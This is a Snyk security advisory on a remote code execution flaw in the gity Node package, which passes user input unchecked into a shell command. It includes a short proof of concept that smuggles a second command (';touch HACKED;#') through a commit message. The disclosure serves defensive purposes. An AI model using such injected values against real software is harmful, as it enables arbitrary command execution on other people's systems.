Remote Code Execution (RCE) Affecting gity package, versions *
Snyk CVSS
Attack Complexity
High
Privileges Required
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JS-GITY-1012730
- published 25 Sep 2020
- disclosed 24 Sep 2020
- credit mik317
How to fix?
There is no fixed version for gity.
Overview
gity is a Git wrapper for Node.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.
PoC by mik317
- Create the following PoC file:
// poc.js
var Git = require('gity');
var git = Git()
.add('*.js')
.commit('-m "added js files";touch HACKED;#')
.run();
- Check there aren't files called
HACKED - Execute the following commands in another terminal:
npm i gity # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKEDhas been created